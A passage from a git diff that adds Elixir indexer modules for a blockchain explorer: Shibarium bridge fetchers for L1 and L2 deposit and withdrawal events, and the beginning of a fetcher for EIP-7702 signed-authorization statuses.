binary() + def l1_rpc_url do + Application.get_all_env(:indexer)[__MODULE__][:rpc] + end + + @doc """ + Determines if `Indexer.Fetcher.RollupL1ReorgMonitor` module must be up + for this module. + + ## Returns + - `true` if the reorg monitor must be active, `false` otherwise. + """ + @spec requires_l1_reorg_monitor?() :: boolean() + def requires_l1_reorg_monitor? do + module_config = Application.get_all_env(:indexer)[__MODULE__] + not is_nil(module_config[:start_block]) + end + + defp filter_deposit_events(events) do + Enum.filter(events, fn event -> + topic0 = Enum.at(event["topics"], 0) + deposit?(topic0) + end) + end + + defp get_block_check_interval(json_rpc_named_arguments) do + with {:ok, latest_block} <- Helper.get_block_number_by_tag("latest", json_rpc_named_arguments), + first_block = max(latest_block - @block_check_interval_range_size, 1), + {:ok, first_block_timestamp} <- + Helper.get_block_timestamp_by_number_or_tag(first_block, json_rpc_named_arguments), + {:ok, last_safe_block_timestamp} <- + Helper.get_block_timestamp_by_number_or_tag(latest_block, json_rpc_named_arguments) do + block_check_interval = + ceil((last_safe_block_timestamp - first_block_timestamp) / (latest_block - first_block) * 1000 / 2) + + Logger.info("Block check interval is calculated as #{block_check_interval} ms.") + {:ok, block_check_interval, latest_block} + else + {:error, error} -> + {:error, "Failed to calculate block check interval due to #{inspect(error)}"} + end + end + + defp get_last_l1_item do + query = + from(sb in Bridge, + select: {sb.l1_block_number, sb.l1_transaction_hash}, + where: not is_nil(sb.l1_block_number), + order_by: [desc: sb.l1_block_number], + limit: 1 + ) + + query + |> Repo.one() + |> Kernel.||({0, nil}) + end + + defp get_logs(from_block, to_block, address, topics, json_rpc_named_arguments, retries) do + processed_from_block = integer_to_quantity(from_block) + processed_to_block = integer_to_quantity(to_block) + + req = + request(%{ + id: 0, + method: "eth_getLogs", + params: [ + %{ + :fromBlock => processed_from_block, + :toBlock => processed_to_block, + :address => address, + :topics => topics + } + ] + }) + + error_message = &"Cannot fetch logs for the block range #{from_block}..#{to_block}. Error: #{inspect(&1)}" + + Helper.repeated_call(&json_rpc/2, [req, json_rpc_named_arguments], error_message, retries) + end + + defp get_logs_all( + {chunk_start, chunk_end}, + deposit_manager_proxy, + ether_predicate_proxy, + erc20_predicate_proxy, + erc721_predicate_proxy, + erc1155_predicate_proxy, + withdraw_manager_proxy, + json_rpc_named_arguments + ) do + {:ok, known_tokens_result} = + get_logs( + chunk_start, + chunk_end, + [deposit_manager_proxy, ether_predicate_proxy, erc20_predicate_proxy, withdraw_manager_proxy], + [ + [ + @new_deposit_block_event, + @locked_ether_event, + @locked_erc20_event, + @locked_erc721_event, + @locked_erc721_batch_event, + @locked_batch_erc1155_event, + @withdraw_event, + @exited_ether_event + ] + ], + json_rpc_named_arguments, + Helper.infinite_retries_number() + ) + + contract_addresses = + if is_nil(erc721_predicate_proxy) do + [pad_address_hash(erc20_predicate_proxy)] + else + [pad_address_hash(erc20_predicate_proxy), pad_address_hash(erc721_predicate_proxy)] + end + + {:ok, unknown_erc20_erc721_tokens_result} = + get_logs( + chunk_start, + chunk_end, + nil, + [ + @transfer_event, + contract_addresses + ], + json_rpc_named_arguments, + Helper.infinite_retries_number() + ) + + {:ok, unknown_erc1155_tokens_result} = + if is_nil(erc1155_predicate_proxy) do + {:ok, []} + else + get_logs( + chunk_start, + chunk_end, + nil, + [ + [@transfer_single_event, @transfer_batch_event], + nil, + pad_address_hash(erc1155_predicate_proxy) + ], + json_rpc_named_arguments, + Helper.infinite_retries_number() + ) + end + + known_tokens_result ++ unknown_erc20_erc721_tokens_result ++ unknown_erc1155_tokens_result + end + + defp get_op_user(topic0, event) do + cond do + Enum.member?([@new_deposit_block_event, @exited_ether_event], topic0) -> + truncate_address_hash(Enum.at(event["topics"], 1)) + + Enum.member?( + [ + @locked_ether_event, + @locked_erc20_event, + @locked_erc721_event, + @locked_erc721_batch_event, + @locked_batch_erc1155_event, + @withdraw_event, + @transfer_event + ], + topic0 + ) -> + truncate_address_hash(Enum.at(event["topics"], 2)) + + Enum.member?([@transfer_single_event, @transfer_batch_event], topic0) -> + truncate_address_hash(Enum.at(event["topics"], 3)) + end + end + + defp get_op_amounts(topic0, event) do + cond do + topic0 == @new_deposit_block_event -> + [amount_or_nft_id, deposit_block_id] = decode_data(event["data"], [{:uint, 256}, {:uint, 256}]) + {[amount_or_nft_id], deposit_block_id} + + topic0 == @transfer_event -> + indexed_token_id = Enum.at(event["topics"], 3) + + if is_nil(indexed_token_id) do + {decode_data(event["data"], [{:uint, 256}]), 0} + else + {[quantity_to_integer(indexed_token_id)], 0} + end + + Enum.member?( + [ + @locked_ether_event, + @locked_erc20_event, + @locked_erc721_event, + @withdraw_event, + @exited_ether_event + ], + topic0 + ) -> + {decode_data(event["data"], [{:uint, 256}]), 0} + + topic0 == @locked_erc721_batch_event -> + [ids] = decode_data(event["data"], [{:array, {:uint, 256}}]) + {ids, 0} + + true -> + {[nil], 0} + end + end + + defp get_op_erc1155_data(topic0, event) do + cond do + Enum.member?([@locked_batch_erc1155_event, @transfer_batch_event], topic0) -> + [ids, amounts] = decode_data(event["data"], [{:array, {:uint, 256}}, {:array, {:uint, 256}}]) + {ids, amounts} + + Enum.member?([@transfer_single_event], topic0) -> + [id, amount] = decode_data(event["data"], [{:uint, 256}, {:uint, 256}]) + {[id], [amount]} + + true -> + {[], []} + end + end + + defp deposit?(topic0) do + Enum.member?( + [ + @new_deposit_block_event, + @locked_ether_event, + @locked_erc20_event, + @locked_erc721_event, + @locked_erc721_batch_event, + @locked_batch_erc1155_event + ], + topic0 + ) + end + + defp json_rpc_named_arguments(rpc_url) do + [ + transport: EthereumJSONRPC.HTTP, + transport_options: [ + http: EthereumJSONRPC.HTTP.Tesla, + urls: [rpc_url], + http_options: [ + recv_timeout: :timer.minutes(10), + timeout: :timer.minutes(10), + pool: :ethereum_jsonrpc + ] + ] + ] + end + + defp prepare_operations(events, json_rpc_named_arguments) do + timestamps = + events + |> filter_deposit_events() + |> Helper.get_blocks_by_events(json_rpc_named_arguments, Helper.infinite_retries_number()) + |> Enum.reduce(%{}, fn block, acc -> + block_number = quantity_to_integer(Map.get(block, "number")) + {:ok, timestamp} = DateTime.from_unix(quantity_to_integer(Map.get(block, "timestamp"))) + Map.put(acc, block_number, timestamp) + end) + + events + |> Enum.map(fn event -> + topic0 = Enum.at(event["topics"], 0) + + user = get_op_user(topic0, event) + {amounts_or_ids, operation_id} = get_op_amounts(topic0, event) + {erc1155_ids, erc1155_amounts} = get_op_erc1155_data(topic0, event) + + l1_block_number = quantity_to_integer(event["blockNumber"]) + + {operation_type, timestamp} = + if deposit?(topic0) do + {:deposit, Map.get(timestamps, l1_block_number)} + else + {:withdrawal, nil} + end + + token_type = + cond do + Enum.member?([@new_deposit_block_event, @withdraw_event], topic0) -> + "bone" + + Enum.member?([@locked_ether_event, @exited_ether_event], topic0) -> + "eth" + + true -> + "other" + end + + Enum.map(amounts_or_ids, fn amount_or_id -> + %{ + user: user, + amount_or_id: amount_or_id, + erc1155_ids: if(Enum.empty?(erc1155_ids), do: nil, else: erc1155_ids), + erc1155_amounts: if(Enum.empty?(erc1155_amounts), do: nil, else: erc1155_amounts), + l1_transaction_hash: event["transactionHash"], + l1_block_number: l1_block_number, + l2_transaction_hash: @empty_hash, + operation_hash: calc_operation_hash(user, amount_or_id, erc1155_ids, erc1155_amounts, operation_id), + operation_type: operation_type, + token_type: token_type, + timestamp: timestamp + } + end) + end) + |> List.flatten() + end + + defp pad_address_hash(address) do + "0x" <> + (address + |> String.trim_leading("0x") + |> String.pad_leading(64, "0")) + end + + defp truncate_address_hash("0x000000000000000000000000" <> truncated_hash) do + "0x#{truncated_hash}" + end + + defp reorg_handle(reorg_block) do + {deleted_count, _} = + Repo.delete_all(from(sb in Bridge, where: sb.l1_block_number >= ^reorg_block and is_nil(sb.l2_transaction_hash))) + + {updated_count1, _} = + Repo.update_all( + from(sb in Bridge, + where: + sb.l1_block_number >= ^reorg_block and not is_nil(sb.l2_transaction_hash) and + sb.operation_type == :deposit + ), + set: [timestamp: nil] + ) + + {updated_count2, _} = + Repo.update_all( + from(sb in Bridge, where: sb.l1_block_number >= ^reorg_block and not is_nil(sb.l2_transaction_hash)), + set: [l1_transaction_hash: nil, l1_block_number: nil] + ) + + updated_count = max(updated_count1, updated_count2) + + if deleted_count > 0 or updated_count > 0 do + recalculate_cached_count() + + Logger.warning( + "As L1 reorg was detected, some rows with l1_block_number >= #{reorg_block} were affected (removed or updated) in the shibarium_bridge table. Number of removed rows: #{deleted_count}. Number of updated rows: >= #{updated_count}." + ) + end + end +end diff --git a/apps/indexer/lib/indexer/fetcher/shibarium/l2.ex b/apps/indexer/lib/indexer/fetcher/shibarium/l2.ex new file mode 100644 index 000000000000..3aa2d42826c6 --- /dev/null +++ b/apps/indexer/lib/indexer/fetcher/shibarium/l2.ex @@ -0,0 +1,547 @@ +defmodule Indexer.Fetcher.Shibarium.L2 do + @moduledoc """ + Fills shibarium_bridge DB table. + """ + + use GenServer + use Indexer.Fetcher + + require Logger + + import Ecto.Query + + import EthereumJSONRPC, + only: [ + id_to_params: 1, + json_rpc: 2, + quantity_to_integer: 1, + request: 1 + ] + + import Explorer.Chain.SmartContract, only: [burn_address_hash_string: 0] + + import Explorer.Helper, only: [decode_data: 2, parse_integer: 1] + + import Indexer.Fetcher.Shibarium.Helper, + only: [calc_operation_hash: 5, prepare_insert_items: 2, recalculate_cached_count: 0] + + alias EthereumJSONRPC.Block.ByNumber + alias EthereumJSONRPC.{Blocks, Logs, Receipt} + alias Explorer.{Chain, Repo} + alias Explorer.Chain.Shibarium.Bridge + alias Indexer.Helper + alias Indexer.Transform.Addresses + + @eth_get_logs_range_size 100 + @fetcher_name :shibarium_bridge_l2 + @empty_hash "0x0000000000000000000000000000000000000000000000000000000000000000" + + # 32-byte signature of the event TokenDeposited(address indexed rootToken, address indexed childToken, address indexed user, uint256 amount, uint256 depositCount) + @token_deposited_event "0xec3afb067bce33c5a294470ec5b29e6759301cd3928550490c6d48816cdc2f5d" + + # 32-byte signature of the event Transfer(address indexed from, address indexed to, uint256 value) + @transfer_event "0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef" + + # 32-byte signature of the event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value) + @transfer_single_event "0xc3d58168c5ae7397731d063d5bbf3d657854427343f4c083240f7aacaa2d0f62" + + # 32-byte signature of the event TransferBatch(address indexed operator, address indexed from, address indexed to, uint256[] ids, uint256[] values) + @transfer_batch_event "0x4a39dc06d4c0dbc64b70af90fd698a233a518aa5d07e595d983b8c0526c8f7fb" + + # 32-byte signature of the event Withdraw(address indexed rootToken, address indexed from, uint256 amount, uint256, uint256) + @withdraw_event "0xebff2602b3f468259e1e99f613fed6691f3a6526effe6ef3e768ba7ae7a36c4f" + + # 4-byte signature of the method withdraw(uint256 amount) + @withdraw_method "0x2e1a7d4d" + + def child_spec(start_link_arguments) do + spec = %{ + id: __MODULE__, + start: {__MODULE__, :start_link, start_link_arguments}, + restart: :transient, + type: :worker + } + + Supervisor.child_spec(spec, []) + end + + def start_link(args, gen_server_options \\ []) do + GenServer.start_link(__MODULE__, args, Keyword.put_new(gen_server_options, :name, __MODULE__)) + end + + @impl GenServer + def init(args) do + json_rpc_named_arguments = args[:json_rpc_named_arguments] + {:ok, %{}, {:continue, json_rpc_named_arguments}} + end + + @impl GenServer + def handle_continue(json_rpc_named_arguments, _state) do + Logger.metadata(fetcher: @fetcher_name) + # two seconds pause needed to avoid exceeding Supervisor restart intensity when DB issues + Process.send_after(self(), :init_with_delay, 2000) + {:noreply, %{json_rpc_named_arguments: json_rpc_named_arguments}} + end + + @impl GenServer + def handle_info(:init_with_delay, %{json_rpc_named_arguments: json_rpc_named_arguments} = state) do + env = Application.get_all_env(:indexer)[__MODULE__] + + with {:start_block_undefined, false} <- {:start_block_undefined, is_nil(env[:start_block])}, + {:child_chain_address_is_valid, true} <- + {:child_chain_address_is_valid, Helper.address_correct?(env[:child_chain])}, + {:weth_address_is_valid, true} <- {:weth_address_is_valid, Helper.address_correct?(env[:weth])}, + {:bone_withdraw_address_is_valid, true} <- + {:bone_withdraw_address_is_valid, Helper.address_correct?(env[:bone_withdraw])}, + start_block = parse_integer(env[:start_block]), + false <- is_nil(start_block), + true <- start_block > 0, + {last_l2_block_number, last_l2_transaction_hash} <- get_last_l2_item(), + {:ok, latest_block} = Helper.get_block_number_by_tag("latest", json_rpc_named_arguments), + {:start_block_valid, true} <- + {:start_block_valid, + (start_block <= last_l2_block_number || last_l2_block_number == 0) && start_block <= latest_block}, + {:ok, last_l2_transaction} <- + Helper.get_transaction_by_hash(last_l2_transaction_hash, json_rpc_named_arguments), + {:l2_transaction_not_found, false} <- + {:l2_transaction_not_found, !is_nil(last_l2_transaction_hash) && is_nil(last_l2_transaction)} do + recalculate_cached_count() + + Process.send(self(), :continue, []) + + {:noreply, + %{ + start_block: max(start_block, last_l2_block_number), + latest_block: latest_block, + child_chain: String.downcase(env[:child_chain]), + weth: String.downcase(env[:weth]), + bone_withdraw: String.downcase(env[:bone_withdraw]), + json_rpc_named_arguments: json_rpc_named_arguments + }} + else + {:start_block_undefined, true} -> + # the process shouldn't start if the start block is not defined + {:stop, :normal, state} + + {:child_chain_address_is_valid, false} -> + Logger.error("ChildChain contract address is invalid or not defined.") + {:stop, :normal, state} + + {:weth_address_is_valid, false} -> + Logger.error("WETH contract address is invalid or not defined.") + {:stop, :normal, state} + + {:bone_withdraw_address_is_valid, false} -> + Logger.error("Bone Withdraw contract address is invalid or not defined.") + {:stop, :normal, state} + + {:start_block_valid, false} -> + Logger.error("Invalid L2 Start Block value. Please, check the value and shibarium_bridge table.") + {:stop, :normal, state} + + {:error, error_data} -> + Logger.error( + "Cannot get last L2 transaction by its hash or latest block from RPC due to RPC error: #{inspect(error_data)}" + ) + + {:stop, :normal, state} + + {:l2_transaction_not_found, true} -> + Logger.error( + "Cannot find last L2 transaction from RPC by its hash. Probably, there was a reorg on L2 chain. Please, check shibarium_bridge table." + ) + + {:stop, :normal, state} + + _ -> + Logger.error("L2 Start Block is invalid or zero.") + {:stop, :normal, state} + end + end + + @impl GenServer + def handle_info( + :continue, + %{ + start_block: start_block, + latest_block: end_block, + child_chain: child_chain, + weth: weth, + bone_withdraw: bone_withdraw, + json_rpc_named_arguments: json_rpc_named_arguments + } = state + ) do + start_block..end_block + |> Enum.chunk_every(@eth_get_logs_range_size) + |> Enum.each(fn current_chunk -> + chunk_start = List.first(current_chunk) + chunk_end = List.last(current_chunk) + + Helper.log_blocks_chunk_handling(chunk_start, chunk_end, start_block, end_block, nil, :L2) + + operations = + chunk_start..chunk_end + |> get_logs_all(child_chain, bone_withdraw, json_rpc_named_arguments) + |> prepare_operations(weth) + + insert_items = prepare_insert_items(operations, __MODULE__) + + addresses = + Addresses.extract_addresses(%{ + shibarium_bridge_operations: insert_items + }) + + {:ok, _} = + Chain.import(%{ + addresses: %{params: addresses, on_conflict: :nothing}, + shibarium_bridge_operations: %{params: insert_items}, + timeout: :infinity + }) + + Helper.log_blocks_chunk_handling( + chunk_start, + chunk_end, + start_block, + end_block, + "#{Enum.count(operations)} L2 operation(s)", + :L2 + ) + end) + + {:stop, :normal, state} + end + + @impl GenServer + def handle_info({ref, _result}, state) do + Process.demonitor(ref, [:flush]) + {:noreply, state} + end + + def filter_deposit_events(events, child_chain) do + Enum.filter(events, fn event -> + address = String.downcase(event.address_hash) + first_topic = Helper.log_topic_to_string(event.first_topic) + second_topic = Helper.log_topic_to_string(event.second_topic) + third_topic = Helper.log_topic_to_string(event.third_topic) + fourth_topic = Helper.log_topic_to_string(event.fourth_topic) + + (first_topic == @token_deposited_event and address == child_chain) or + (first_topic == @transfer_event and second_topic == @empty_hash and third_topic != @empty_hash) or + (Enum.member?([@transfer_single_event, @transfer_batch_event], first_topic) and + third_topic == @empty_hash and fourth_topic != @empty_hash) + end) + end + + def filter_withdrawal_events(events, bone_withdraw) do + Enum.filter(events, fn event -> + address = String.downcase(event.address_hash) + first_topic = Helper.log_topic_to_string(event.first_topic) + second_topic = Helper.log_topic_to_string(event.second_topic) + third_topic = Helper.log_topic_to_string(event.third_topic) + fourth_topic = Helper.log_topic_to_string(event.fourth_topic) + + (first_topic == @withdraw_event and address == bone_withdraw) or + (first_topic == @transfer_event and second_topic != @empty_hash and third_topic == @empty_hash) or + (Enum.member?([@transfer_single_event, @transfer_batch_event], first_topic) and + third_topic != @empty_hash and fourth_topic == @empty_hash) + end) + end + + def prepare_operations({events, timestamps}, weth) do + events + |> Enum.map(&prepare_operation(&1, timestamps, weth)) + |> List.flatten() + end + + def reorg_handle(reorg_block) do + {deleted_count, _} = + Repo.delete_all(from(sb in Bridge, where: sb.l2_block_number >= ^reorg_block and is_nil(sb.l1_transaction_hash))) + + {updated_count1, _} = + Repo.update_all( + from(sb in Bridge, + where: + sb.l2_block_number >= ^reorg_block and not is_nil(sb.l1_transaction_hash) and + sb.operation_type == :withdrawal + ), + set: [timestamp: nil] + ) + + {updated_count2, _} = + Repo.update_all( + from(sb in Bridge, where: sb.l2_block_number >= ^reorg_block and not is_nil(sb.l1_transaction_hash)), + set: [l2_transaction_hash: nil, l2_block_number: nil] + ) + + updated_count = max(updated_count1, updated_count2) + + if deleted_count > 0 or updated_count > 0 do + recalculate_cached_count() + + Logger.warning( + "As L2 reorg was detected, some rows with l2_block_number >= #{reorg_block} were affected (removed or updated) in the shibarium_bridge table. Number of removed rows: #{deleted_count}. Number of updated rows: >= #{updated_count}." + ) + end + end + + def withdraw_method_signature do + @withdraw_method + end + + defp get_blocks_by_range(range, json_rpc_named_arguments, retries) do + request = + range + |> Stream.map(fn block_number -> %{number: block_number} end) + |> id_to_params() + |> Blocks.requests(&ByNumber.request(&1)) + + error_message = &"Cannot fetch blocks with batch request. Error: #{inspect(&1)}. Request: #{inspect(request)}" + + case Helper.repeated_call(&json_rpc/2, [request, json_rpc_named_arguments], error_message, retries) do + {:ok, results} -> Enum.map(results, fn %{result: result} -> result end) + {:error, _} -> [] + end + end + + defp get_last_l2_item do + query = + from(sb in Bridge, + select: {sb.l2_block_number, sb.l2_transaction_hash}, + where: not is_nil(sb.l2_block_number), + order_by: [desc: sb.l2_block_number], + limit: 1 + ) + + query + |> Repo.one() + |> Kernel.||({0, nil}) + end + + defp get_logs_all(block_range, child_chain, bone_withdraw, json_rpc_named_arguments) do + blocks = get_blocks_by_range(block_range, json_rpc_named_arguments, Helper.infinite_retries_number()) + + deposit_logs = get_deposit_logs_from_receipts(blocks, child_chain, json_rpc_named_arguments) + + withdrawal_logs = get_withdrawal_logs_from_receipts(blocks, bone_withdraw, json_rpc_named_arguments) + + timestamps = + blocks + |> Enum.reduce(%{}, fn block, acc -> + block_number = + block + |> Map.get("number") + |> quantity_to_integer() + + {:ok, timestamp} = + block + |> Map.get("timestamp") + |> quantity_to_integer() + |> DateTime.from_unix() + + Map.put(acc, block_number, timestamp) + end) + + {deposit_logs ++ withdrawal_logs, timestamps} + end + + defp get_deposit_logs_from_receipts(blocks, child_chain, json_rpc_named_arguments) do + blocks + |> Enum.reduce([], fn block, acc -> + hashes = + block + |> Map.get("transactions", []) + |> Enum.filter(fn t -> Map.get(t, "from") == burn_address_hash_string() end) + |> Enum.map(fn t -> Map.get(t, "hash") end) + + acc ++ hashes + end) + |> Enum.chunk_every(@eth_get_logs_range_size) + |> Enum.reduce([], fn hashes, acc -> + acc ++ get_receipt_logs(hashes, json_rpc_named_arguments, Helper.infinite_retries_number()) + end) + |> filter_deposit_events(child_chain) + end + + defp get_withdrawal_logs_from_receipts(blocks, bone_withdraw, json_rpc_named_arguments) do + blocks + |> Enum.reduce([], fn block, acc -> + hashes = + block + |> Map.get("transactions", []) + |> Enum.filter(fn t -> + # filter by `withdraw(uint256 amount)` signature + String.downcase(String.slice(Map.get(t, "input", ""), 0..9)) == @withdraw_method + end) + |> Enum.map(fn t -> Map.get(t, "hash") end) + + acc ++ hashes + end) + |> Enum.chunk_every(@eth_get_logs_range_size) + |> Enum.reduce([], fn hashes, acc -> + acc ++ get_receipt_logs(hashes, json_rpc_named_arguments, Helper.infinite_retries_number()) + end) + |> filter_withdrawal_events(bone_withdraw) + end + + defp get_op_amounts(event) do + cond do + event.first_topic == @token_deposited_event -> + [amount, deposit_count] = decode_data(event.data, [{:uint, 256}, {:uint, 256}]) + {[amount], deposit_count} + + event.first_topic == @transfer_event -> + indexed_token_id = event.fourth_topic + + if is_nil(indexed_token_id) do + {decode_data(event.data, [{:uint, 256}]), 0} + else + {[quantity_to_integer(indexed_token_id)], 0} + end + + event.first_topic == @withdraw_event -> + [amount, _arg3, _arg4] = decode_data(event.data, [{:uint, 256}, {:uint, 256}, {:uint, 256}]) + {[amount], 0} + + true -> + {[nil], 0} + end + end + + defp get_op_erc1155_data(event) do + cond do + event.first_topic == @transfer_single_event -> + [id, amount] = decode_data(event.data, [{:uint, 256}, {:uint, 256}]) + {[id], [amount]} + + event.first_topic == @transfer_batch_event -> + [ids, amounts] = decode_data(event.data, [{:array, {:uint, 256}}, {:array, {:uint, 256}}]) + {ids, amounts} + + true -> + {[], []} + end + end + + # credo:disable-for-next-line /Complexity/ + defp get_op_user(event) do + cond do + event.first_topic == @transfer_event and event.third_topic == @empty_hash -> + truncate_address_hash(event.second_topic) + + event.first_topic == @transfer_event and event.second_topic == @empty_hash -> + truncate_address_hash(event.third_topic) + + event.first_topic == @withdraw_event -> + truncate_address_hash(event.third_topic) + + Enum.member?([@transfer_single_event, @transfer_batch_event], event.first_topic) and + event.fourth_topic == @empty_hash -> + truncate_address_hash(event.third_topic) + + Enum.member?([@transfer_single_event, @transfer_batch_event], event.first_topic) and + event.third_topic == @empty_hash -> + truncate_address_hash(event.fourth_topic) + + event.first_topic == @token_deposited_event -> + truncate_address_hash(event.fourth_topic) + end + end + + defp get_receipt_logs(transaction_hashes, json_rpc_named_arguments, retries) do + reqs = + transaction_hashes + |> Enum.with_index() + |> Enum.map(fn {hash, id} -> + request(%{ + id: id, + method: "eth_getTransactionReceipt", + params: [hash] + }) + end) + + error_message = &"eth_getTransactionReceipt failed. Error: #{inspect(&1)}" + + {:ok, receipts} = Helper.repeated_call(&json_rpc/2, [reqs, json_rpc_named_arguments], error_message, retries) + + receipts + |> Enum.map(&Receipt.elixir_to_logs(&1.result)) + |> List.flatten() + |> Logs.elixir_to_params() + end + + defp withdrawal?(event) do + cond do + event.first_topic == @withdraw_event -> + true + + event.first_topic == @transfer_event and event.third_topic == @empty_hash -> + true + + Enum.member?([@transfer_single_event, @transfer_batch_event], event.first_topic) and + event.fourth_topic == @empty_hash -> + true + + true -> + false + end + end + + defp prepare_operation(event, timestamps, weth) do + event = + event + |> Map.put(:first_topic, Helper.log_topic_to_string(event.first_topic)) + |> Map.put(:second_topic, Helper.log_topic_to_string(event.second_topic)) + |> Map.put(:third_topic, Helper.log_topic_to_string(event.third_topic)) + |> Map.put(:fourth_topic, Helper.log_topic_to_string(event.fourth_topic)) + + user = get_op_user(event) + + if user == burn_address_hash_string() do + [] + else + {amounts_or_ids, operation_id} = get_op_amounts(event) + {erc1155_ids, erc1155_amounts} = get_op_erc1155_data(event) + + l2_block_number = quantity_to_integer(event.block_number) + + {operation_type, timestamp} = + if withdrawal?(event) do + {:withdrawal, Map.get(timestamps, l2_block_number)} + else + {:deposit, nil} + end + + token_type = + cond do + Enum.member?([@token_deposited_event, @withdraw_event], event.first_topic) -> + "bone" + + event.first_topic == @transfer_event and String.downcase(event.address_hash) == weth -> + "eth" + + true -> + "other" + end + + Enum.map(amounts_or_ids, fn amount_or_id -> + %{ + user: user, + amount_or_id: amount_or_id, + erc1155_ids: if(Enum.empty?(erc1155_ids), do: nil, else: erc1155_ids), + erc1155_amounts: if(Enum.empty?(erc1155_amounts), do: nil, else: erc1155_amounts), + l2_transaction_hash: event.transaction_hash, + l2_block_number: l2_block_number, + l1_transaction_hash: @empty_hash, + operation_hash: calc_operation_hash(user, amount_or_id, erc1155_ids, erc1155_amounts, operation_id), + operation_type: operation_type, + token_type: token_type, + timestamp: timestamp + } + end) + end + end + + defp truncate_address_hash("0x000000000000000000000000" <> truncated_hash) do + "0x#{truncated_hash}" + end +end diff --git a/apps/indexer/lib/indexer/fetcher/signed_authorization_status.ex b/apps/indexer/lib/indexer/fetcher/signed_authorization_status.ex new file mode 100644 index 000000000000..cbb1306b880a --- /dev/null +++ b/apps/indexer/lib/indexer/fetcher/signed_authorization_status.ex @@ -0,0 +1,471 @@ +defmodule Indexer.Fetcher.SignedAuthorizationStatus do + @moduledoc """ + Fetches `status` `t:Explorer.Chain.SignedAuthorization.t/0`. + """ + + use Indexer.Fetcher, restart: :permanent + use Spandex.Decorators + + require Logger + + import Ecto.Query, only: [from: 2] + import EthereumJSONRPC, only: [integer_to_quantity: 1] + + import Explorer.Chain.SignedAuthorization.Reader, + only: [ + stream_blocks_to_refetch_signed_authorizations_statuses: 2, + address_hashes_to_latest_authorizations: 1 + ] + + alias EthereumJSONRPC.Utility.RangesHelper + alias Explorer.{Chain, Repo} + alias Explorer.Chain.{Address, Block, BlockNumberHelper, Hash, SignedAuthorization, Transaction} + alias Explorer.Chain.Cache.Accounts + alias Explorer.Chain.SmartContract.Proxy.Models.Implementation + alias Indexer.{BufferedTask, Tracer} + + @failed_to_import "failed to import signed_authorization status for transactions: " + + @type inner_entry :: + {:transaction, %{authority: Hash.Address.t(), nonce: non_neg_integer()}} + | {:authorization, SignedAuthorization.t()} + + @typedoc """ + Each entry is a list of all transactions and signed authorizations from the same block. + + - `:block_number` - The block number of given batch. + - `:block_hash` - The block hash of given batch. + - `:entries` - The signed authorizations merged with transaction nonces. + """ + @type entry :: %{ + required(:block_number) => Block.block_number(), + required(:block_hash) => Hash.Full.t(), + optional(:entries) => [inner_entry()] + } + + @behaviour BufferedTask + + @default_max_batch_size 10 + @default_max_concurrency 1 + + @doc """ + Enqueues a batch of transactions to fetch and handle signed authorization statuses. + Only works correctly if all transactions and signed authorizations from the particular block + are present in the list at the same time. + """ + @spec async_fetch([Transaction.t()], [SignedAuthorization.t()], boolean(), integer()) :: :ok + def async_fetch( + transactions, + signed_authorizations, + realtime?, + timeout \\ 5000 + ) do + grouped_signed_authorizations = signed_authorizations |> Enum.group_by(& &1.transaction_hash) + + BufferedTask.buffer( + __MODULE__, + transactions + |> RangesHelper.filter_traceable_block_numbers() + |> Enum.map(&Map.put(&1, :signed_authorizations, Map.get(grouped_signed_authorizations, &1.hash, []))) + |> entries_from_transactions(), + realtime?, + timeout + ) + end + + # Chunks a list of transactions into entries, with all transactions from the same block grouped together. + @spec entries_from_transactions([Transaction.t()]) :: [entry()] + defp entries_from_transactions(transactions) do + transactions + |> Enum.group_by(& &1.block_hash) + |> Enum.map(fn {block_hash, block_transactions} -> + %{ + block_number: block_transactions |> List.first() |> Map.get(:block_number), + block_hash: block_hash, + entries: + block_transactions + |> Enum.sort_by(& &1.index) + |> Enum.flat_map(&transaction_to_inner_entries/1) + } + end) + |> Enum.sort_by(& &1.block_number) + end + + # Extract all nonce changes from transaction with signed authorizations. + # + # Any transaction change the nonce of the transaction sender. + # + # Additionally, EIP7702 transactions may change the nonce of successful EIP7702 tuple authorities. + @spec transaction_to_inner_entries(Transaction.t()) :: [inner_entry()] + defp transaction_to_inner_entries(transaction) do + [ + {:transaction, %{authority: transaction.from_address_hash, nonce: transaction.nonce}} + | transaction + |> Map.get(:signed_authorizations, []) + |> Enum.sort_by(& &1.index) + |> Enum.map(&{:authorization, &1}) + ] + end + + @doc false + def child_spec([init_options, gen_server_options]) do + {state, mergeable_init_options} = Keyword.pop(init_options, :json_rpc_named_arguments) + + unless state do + raise ArgumentError, + ":json_rpc_named_arguments must be provided to `#{__MODULE__}.child_spec " <> + "to allow for json_rpc calls when running." + end + + merged_init_opts = + defaults() + |> Keyword.merge(mergeable_init_options) + |> Keyword.put(:state, state) + + Supervisor.child_spec({BufferedTask, [{__MODULE__, merged_init_opts}, gen_server_options]}, id: __MODULE__) + end + + @impl BufferedTask + def init(initial, reducer, _) do + stream_reducer = RangesHelper.stream_reducer_traceable(reducer) + + # here we stream only block hashes, transactions are preloaded later by `preload_entries/1` + {:ok, final} = + stream_blocks_to_refetch_signed_authorizations_statuses( + initial, + stream_reducer + ) + + final + end + + @doc """ + Processes a batch of entries to fetch and handle signed authorization statuses. + This function is executed as part of the `BufferedTask` behavior. + + ## Parameters + + - `entries`: A list of entries to process. + - `json_rpc_named_arguments`: A list of options for JSON-RPC communication. + + ## Returns + + - `:ok`: Indicates successful processing of the signed authorization statuses. + - `{:retry, any()}`: Returns the entries for retry if an error occurs during + the fetch operation. + """ + @impl BufferedTask + @decorate trace( + name: "fetch", + resource: "Indexer.Fetcher.SignedAuthorizationStatus.run/2", + service: :indexer, + tracer: Tracer + ) + @spec run([entry()], [ + {:throttle_timeout, non_neg_integer()} + | {:transport, atom()} + | {:transport_options, any()} + | {:variant, atom()} + ]) :: :ok | {:retry, any()} + def run(entries, json_rpc_named_arguments) do + Logger.debug("fetching signed authorization statuses") + + # preload transactions for init-generated entries, in case of retry, preloaded transactions are preserved + entries = entries |> Enum.map(&preload_entries/1) + + # compute pairs of block numbers and addresses for which don't know nonce at the start of the block + missing_nonces_for = entries |> Enum.flat_map(&compute_missing_nonces/1) + + with {:fetch, {:ok, nonces_map}} <- {:fetch, fetch_nonces(missing_nonces_for, json_rpc_named_arguments)}, + {new_entries, updated_authorizations} = + entries + |> Enum.map(&compute_statuses(&1, Map.get(nonces_map, &1.block_number, %{}))) + |> Enum.unzip(), + {:import, :ok} <- {:import, import_authorizations(List.flatten(updated_authorizations))} do + entries_to_retry = + new_entries + |> Enum.filter( + 